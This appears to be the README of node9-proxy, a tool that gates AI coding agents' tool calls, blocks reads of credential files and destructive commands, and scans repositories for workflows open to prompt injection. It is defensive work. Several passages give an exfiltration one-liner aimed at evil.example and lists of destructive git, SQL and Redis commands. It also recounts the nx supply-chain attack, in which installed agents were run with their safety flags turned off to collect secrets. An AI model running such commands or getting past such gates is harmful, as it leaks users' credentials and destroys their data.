Node9-Proxy
Shield that blocks dangerous Docker commands such as system prune, volume prune, and forceful container removal.
Always-on protection that catches risky Git operations like git push --force, git reset --hard, and git clean -fd.
Shield that blocks destructive GitHub CLI actions such as gh repo delete, remote branch deletion, and settings changes.
Shield for Kubernetes that catches [helm](/mcp/servers/integrations/helm) uninstall, namespace deletion, and cluster role wipes.
Shield that blocks destructive MongoDB operations like dropDatabase, drop(), deleteMany({}), and index drops.
Shield that catches dangerous SQL commands including DROP TABLE, TRUNCATE, DROP COLUMN, and DELETE without WHERE.
Shield that blocks dangerous Redis commands such as FLUSHALL, FLUSHDB, and CONFIG SET on live servers.
Data loss prevention that flags Stripe keys (along with AWS and GitHub tokens) when they appear in tool arguments, file contents, or shell configurations.
This server does not currently have a deployable release on Glama. Follow the repository's setup instructions to install and configure it for your MCP client, including any required credentials and local dependencies.
Credential jail · secrets and PII · destructive git, SQL and shell held for review · MCP tool pinning · network egress allowlist · loop breaker · one record across twelve agents
Works with Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · any MCP server.
Three ways in
See | Scan a repository on every pull request, or check this machine. Nothing to install. | |
Guard | Put node9 in front of every tool call your agents make: allowed, blocked, or held for you. | |
Prove | One OWASP Agentic Top 10 report across every agent and every machine your team runs. |
Related MCP server: agent-sudo-mcp
Scan every pull request
This repository is also the GitHub Action node9 Agent Security. It reads the agent configuration committed to a repository (workflows, agent settings, MCP servers, instruction files) and reports what a pull request could turn against you. Nothing runs, no agent is installed, and it needs no account and no secret: the job token is enough.
Add one file, .github/workflows/agent-security.yml:
name: node9 agent-security
on: pull_request
permissions:
contents: read
pull-requests: write
checks: write
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: node9-ai/node9-proxy@v2
with:
fail-on: high # never | medium | high | critical
fail-on-scope: introduced # judge only what this PR added or made worseEvery pull request then gets:
A check that passes or fails at the severity you choose.
One comment that leads with the worst finding in plain words and how to fix it, updated in place on every push.
Annotations on the lines that caused them.
What it looks for
Workflows a stranger can steer | a workflow that hands the text of an issue or a pull request to an agent that holds secrets or can run commands, or that runs the agent inside a fork's code |
Agent settings | allow rules that cover credentials or any command, hooks that fetch remote code, local settings committed by mistake |
MCP servers and plugins | a server installed at whatever version is newest, a credential written into the config |
Secrets in reach | secrets an agent in a workflow can read, and the ways it could leak them |
Instruction files and skills | hidden characters, text that tells the agent to drop its instructions, to fetch and obey a page, or to send data out |
The comment, on a repository where anyone can open an issue that an agent reads:
🛡️ node9 agent-security · 🔴 High: action needed
Anyone can make this repository's AI agent act with its permissions
A stranger opens an issue with instructions for the agent. The agent follows them with this repository's permissions.
What we saw in
.github/workflows/triage.yml:13:
Anyone can start the agent (
allowed_non_write_users: "*").It reads the text of the pull request or issue.
It can run any command (
Bash).✅ How to fix:
Let only people with write access start it: remove
allowed_non_write_users: "*".Give the agent only the tools the job needs.
Also found:
🟡 MCP server
filesinstalls whatever version is newest, every time (.mcp.json)
Inputs
Input | Default | |
|
| The severity that fails the check: |
|
|
|
|
| Post the comment on the pull request. |
|
| Annotate the findings on the diff. |
|
| The |
| empty | Optional. Sends each push scan to your node9 workspace, which keeps the history per repository. Empty sends nothing. |
|
| An anonymous usage count per run: the scanner version, the operating system, the worst severity, whether the scan finished, and a hash of the repository's numeric id that node9 keeps only inside a count. Never the repository name, a path, a finding or any code. |
Under pull_request_target the Action does not scan and says so: there it would read the base
branch, not the pull request. The full reference is in the
repository scanning docs.
Check a repository or this machine now
No workflow, no install and no account. scan-repo sends the same anonymous usage count as the
Action (no repository name, no code); set NODE9_NO_TELEMETRY=1 to turn it off.
npx node9-ai scan-repo owner/repo # the same scan as the Action, on any public repository
npx node9-ai posture # scores this machine 0-100: what a compromised agent could read, reach and run
npx node9-ai scan # every past agent session on this machineThe hosted scan at node9.ai/scan does the first one in the browser.
Guard your agents
node9 sits between an agent and every tool it calls: files, commands, the network and every app it reaches. Each call is allowed, blocked, or held for you.
Below, a real Claude Code session with node9 installed. Every tool call is checked before it runs. Building a page and editing a button run. A request to the cloud metadata address is blocked, and the agent gets the reason and carries on. Deleting files waits for your approval, right in the chat.
Install
brew tap node9-ai/node9 && brew install node9 # macOS / Linux
npm install -g node9-ai # any platformThen, in any project:
node9 # first run: choose dashboard connection or local protection
node9 posture # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login # optional: adds this machine to a shared dashboardRequires Node.js 22+.
On a new interactive terminal, node9 guides you through setup. Local protection
needs no account. The checklist shows recommended shields, DLP/PII, optional
network egress review, and the background service. Usage statistics are sent
only if you accept the separate prompt. The summary lists configured agents
and any setup steps that need attention.
Run node9 setup to revisit setup, or node9 setup <target> to configure one agent.
Once configured, bare node9 shows help. node9 init remains available; for
scripts use node9 init --recommended (no questions and no telemetry opt-in).
--skip-setup leaves agent wiring and service installation alone. Explicit
--mode takes precedence over the checklist's standard-mode recommendation.
Existing settings are preserved unless selected changes or explicit flags request
an update. Workspace policy is managed in the dashboard; service settings remain local.
login adds nothing to enforcement. It connects the machine to a workspace so
a team can see one record across everyone's laptops and CI, set policy centrally,
and approve held actions from a dashboard or Slack. Skip it and node9 works exactly
the same, alone, offline. node9 logout disconnects again and local enforcement
keeps running.
Every release artifact is signed. To check one yourself:
gh attestation verify cli.js --repo node9-ai/node9-proxyUse as an MCP server
node9 also runs as an MCP server, so an agent can read its status, posture, audit record and policy, and explain any decision, from inside the conversation:
claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-serverAny MCP client works the same way: the command is npx -y node9-ai mcp-server
over stdio, with no API key. It is listed in the official MCP Registry as
io.github.node9-ai/node9.
Prove it to your team
Once machines are connected with node9 login, the dashboard reads them as one report on the
OWASP Top 10 for Agentic Applications, for every agent and every team. For each of the ten
risks it shows which devices and repositories are exposed now, what happened, and what your
policy stopped. Each number opens to the device, the repository or the check behind it.
A sample report: the report as a team sees it, readable before you install anything
How to read the report: what each column counts
The problem
In August 2025, compromised releases of the
nx build tool shipped a post-install
script that looked for AI coding agents already installed on the developer's machine, then ran
them with their own safety flags turned off (--dangerously-skip-permissions, --yolo,
--trust-all-tools) to enumerate SSH keys, cloud credentials and wallet files and write the list
to disk. The script pushed the results to public repositories inside the victims' own GitHub
accounts. More than a thousand valid GitHub tokens leaked, along with cloud credentials, npm
tokens and roughly 20,000 files, from machines where the agent was doing exactly what it was
told.
The agent was not the attacker. The agent was the tool, and nothing stood between it and the files. node9's gate is not one of those flags: it runs in the hook, and an action it holds stays held even when the agent was started with permissions skipped.
What node9 does about it
node9 sits between the agent and every tool it calls. The credential jail (~/.ssh, ~/.aws,
.env files, private keys) is on by default, and a read of one of those paths does not run.
The agent is stopped, told why, and the decision comes to you:
NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.The command is parsed as a shell AST, not matched as text, so wrapping the read does not help.
echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example is judged as a read
of ~/.aws/credentials, not as an echo.
node9 is a gate. A held action does not run while it waits for you, and if you never answer it stays blocked. Everything else is allowed and written to the record.
What it does not do: with egress control off, which is the default, a command that hands a
file straight to the network, such as curl -d @~/.aws/credentials, is not treated as a read of
that file. node9 egress protect gates destinations as well, and it covers shell commands only.
What it governs
Each line is one capability, with the page that documents it. The docs are the reference; this file is the map.
Credential jail |
| |
Always-on rules | destructive git, SQL without a | |
Secrets and PII | AWS keys, GitHub and Stripe tokens, PEM keys and card or SSN shapes, in any tool argument, plus a background scan of what the agent wrote back | |
Per-service shields | curated rule packs for Postgres, MongoDB, Redis, AWS, Kubernetes, Docker, GitHub and the filesystem | |
Inline review | a held action asks you inside the agent conversation, or through a team approver | |
Egress allowlist | gate where a shell command may send data, off by default | |
MCP gateway | wrap any MCP server, authorise each tool, and pin tool definitions so a server cannot change them behind your back | |
Sandbox | run an agent in a container with a kernel egress allowlist and scoped mounts | |
Posture score | how exposed this machine is, with the command that fixes each finding | |
Repo scanning | find workflows where an outsider could hijack an agent that holds your secrets, in CI or from the CLI | |
Session history | read what every agent already did on this machine, before node9 was installed | |
Live monitor and report | a terminal dashboard, and a windowed summary of cost, tools, blocks and blast radius | |
Skills pinning | SHA-256 verification of installed Claude skills and plugins between sessions | |
Canary credentials | planted fake keys that prove an exfiltration attempt happened | |
Python SDK | govern any Python agent, not only the CLIs |
Full CLI and config reference: node9.ai/docs. How the layers fit together: how it works.
Learn
Background reading, written to stand on its own. Each page says what node9 does not cover.
What can a hijacked agent do?: the blast radius of one compromised session
How an AI agent leaks a secret: the paths a credential actually takes out
Claude Code security: hooks, permission modes, and what they do not stop
MCP security: the tool surface an MCP server opens
OWASP Agentic Top 10: the list, mapped to real controls
Compare
node9 against the alternatives: a matrix, including the rows where node9 scores worse
Per-agent coverage: what is governed on each of the twelve supported agents
Related projects
node9-python: Python SDK
Enterprise
node9 Pro adds governance locking, SAML/SSO, central audit export, and VPC deployment. See node9.ai.
License
Apache-2.0
Tool Schema Changelog
Recent tool additions, removals, and schema changes observed during successful MCP inspections.
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Maintenance
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Deterministic runtime safety for AI agents: scan PII, gate tool actions, verify LLM output.
Governed access to sensitive data, secrets and APIs for AI agents. A signed proof for each decision.
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